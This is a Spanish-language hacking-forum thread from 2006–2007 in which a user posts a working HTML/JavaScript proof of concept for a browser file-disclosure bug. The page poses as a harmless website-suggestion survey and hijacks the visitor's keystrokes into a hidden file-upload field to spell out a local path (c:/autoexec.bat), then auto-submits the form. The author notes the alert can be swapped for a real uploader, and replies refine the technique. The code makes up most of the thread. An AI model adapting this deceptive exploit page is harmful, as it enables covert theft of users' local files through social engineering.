elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
21 Marzo 2010, 11:31  


Temas destacados: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  focus() + onkeyevent javascript file disclosure.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: focus() + onkeyevent javascript file disclosure.  (Leído 6379 veces)
sirdarckcat
Absolutamente no es (por ningun motivo):
CoAdmin
*****
Desconectado Desconectado

Mensajes: 6.386


xDDD


Ver Perfil WWW
focus() + onkeyevent javascript file disclosure.
« en: 11 Junio 2006, 11:22 »

Pues estaba leyendo que symantec reporto un bug en Mozilla y InternetExplorer.

Se supone que si entras a una pagina web, diseñada "maliciosamente" sin quererlo puedes subir un archivo a internet.

Symantec no dio un PoC.. pero ya me imagino por donde va el bug.

La funcion document.onKeyPress se llama justo cuando el usuario oprimio una tecla, y antes de que se imprima, por lo que, puedo hacer que la tecla que escribiste se sea dirigida al campo de formulario que yo quiera, por ejemplo a uno tipo "file".

he creado este PoC, que aunque es un poco tonto, demuestra la escencia del bug.

Código:
<html>
<body>
<form method=post action="javascript:alert('TENGO EL ARCHIVO! solo cambia la url por un uploader xD!');" type="multipart/form-data">
Porfavor sugierenos 3 paginas web por tema, (asegurate de incluir http:// o https://) sobre los siguientes temas:
<ul><b>Asegurate de ponerlos en orden.</b>
<li>Descarga de archivos gratis</li>
<li>Automovilismo</li>
<li>Deportes extremos</li>
<li>Tecnologia</li>
<li>Batman</li>
</ul>
<textarea name=other style="width:100%;height:50%"></textarea><br>
<input type=file name=thet disabled style="visibility:hidden;height:1;width:1">
</form>
<script>
/**
*  OnKeyDown - javascript - Local File Disclosure vuln. PoC
* by sirdarckcat [at] gmail [.] com
*                   from: elhacker.net
**/
var nidshift = new Array(0 ,0 ,0 ,0 ,1  ,0  ,0  ,0 ,1  ,0  ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0  ,0 ,0 ,0);
var thefilek = new Array(70,73,76,69,190,111,111,67,190,111,65,85,84,79,69,88,69,67,190,66,65,84);
var thefilew = "file://c:/autoexec.bat";
var dv = 0;
var chift = false;
var teo = document.forms[0].thet;
var feo = document.forms[0].other;

function checa(tecla) {
var rt=(tecla.which)?tecla.which:event.keyCode;
var lw=String.fromCharCode(rt);
if (dv>=thefilew.length){
document.forms[0].submit();
}
if (rt == 16){
chift = true;
}
if (rt==thefilek[dv]){
if ((nidshift[dv] && chift) || (!nidshift[dv] && !chift)){
teo.disabled=false;
teo.style.visibility="visible";
teo.focus();
feo.value += thefilew[dv];
dv++;
}
}else{
feo.focus();
teo.disabled=true;
teo.style.visibility="hidden";
}
}
function solsh(tecla){
var rt=(tecla.which)?tecla.which:event.keyCode;
if (rt == 16){
chift = false;
}
}
function mprss(tecla){
var rt=(tecla.which)?tecla.which:event.keyCode;
if (rt == 16){
chift = true;
}
}
document.onkeydown = checa;
document.onkeyup   = solsh;
document.onkeypress= mprss;
</script>
</body>
</html>

Este es el famoso ZeroDay de Symantec, mas info aqui:
http://digg.com/security/IE_And_Firefox_Sport_New_Zero-day_Flaw

Normalmente hubiera mandado el exploit a securityfocus, pero vamos.. para poder explotar un bug de esta magnitud es necesario una cantidad exajerada de ingenieria social xD!

de todas formas, por si alguien se preguntaba como hacer que un usuario suba un archivo automaticamente a una web, pues esta esta opcion.

NOTA!!
si por algun motivo no funciona.. traten de poner estas urls:

http://www.filefront.com/
http://www.cars.com/
http://www.autos.com.mx/
http://www.extreme.com/
http://www.batman.com/

lo que hace es obtener las siguientes teclas:
file://c:/autoexec.bat

cuando las tiene, manda la URL xD.

Y bueno, esta es una simple demostracion de la baja peligrosidad de este bug xD!!

Saludos!!
y no posteen para decir que es muy tonto, eso ya lo se jaja :P
En línea

Man-In-the-Middle

Desconectado Desconectado

Mensajes: 3.539



Ver Perfil
Re: focus() + onkeyevent javascript file disclosure.
« Respuesta #1 en: 12 Junio 2006, 19:39 »

umm, no lo veo tonto, puedes sacar bastante informacion, de una mauina, este bug  va mas orientado a  ippublicas, las cuales se deben regitrar en un log, pudes jalar, archivos tipo ini, o cute ftp, no se, no hay que menospreciar ese bug, Ta xulo tu POC
En línea
sirdarckcat
Absolutamente no es (por ningun motivo):
CoAdmin
*****
Desconectado Desconectado

Mensajes: 6.386


xDDD


Ver Perfil WWW
Re: focus() + onkeyevent javascript file disclosure.
« Respuesta #2 en: 13 Junio 2006, 03:30 »

Hola MItM.
explico rapido como funciona el exploit..
al principio parece que lo unico que hace es obtener las teclas de la variable thefilew, sinembargo tambien necesita de: nidshift  y thefilek, nidshift especifica si el caracter especificado necesita tener la tecla shift oprimida, y la variable thefilek especifica los codigos de las teclas necesarias..

mande el PoC a Symantec xD! y despues la termine mandando a la mailing list de securityfocus de vulndev.. me dicen que mi PoC esta mejor que el suyo xD, el de ellos te pedia que escribieras la ruta, yo al menos lo disfrazo un pokito jajaja.

en fin.. me da curiosidad en como van a componer este bug los de mozilla y microsoft, porque la verdad, si deshabilitan focus() o onkeydown va a ser un problema para muchas aplicaciones web, empezando con la misma web de MSDN de microsoft.

Saludos!!
En línea

BladeKing

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: focus() + onkeyevent javascript file disclosure.
« Respuesta #3 en: 26 Julio 2007, 12:01 »

Esto me parece bastante interesante, aunque la verdad, me resulta más interesante la idea de cambiar el keyCode por el que a tí te convenga.
Es decir, en el text que "ve" el usuario, se escribe el carácter que el pulsa, y en el file escribes lo que te venga en gana cambiando el keyCode capturado en el onkeypress.
Así podrías conseguir la ruta que te interesase sin que él tuviese que pulsar los caracteres correspondientes.
En línea
EvilGoblin

Desconectado Desconectado

Mensajes: 1.788


YO NO LA VOTE!


Ver Perfil
Re: focus() + onkeyevent javascript file disclosure.
« Respuesta #4 en: 01 Agosto 2007, 14:39 »

Disculpen mi pregunta =$ nose mucho de Script o Html

Lo probe.. pero por mas que escriba distintas url's
o escriba el path   no me aparece el alert  -.-

que estoy haciendo mal?

xD

P.D: me aparece un mensaje de activar ejecucion Activex apenas abro el html

LO SIENTO! =$ NO VI LA FECHA
En línea

Experimental Serial Lain [Linux User]
sirdarckcat
Absolutamente no es (por ningun motivo):
CoAdmin
*****
Desconectado Desconectado

Mensajes: 6.386


xDDD


Ver Perfil WWW
Re: focus() + onkeyevent javascript file disclosure.
« Respuesta #5 en: 01 Agosto 2007, 21:34 »

bladeking: no se puede
evilglobin: si, ya es muy viejo :P
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC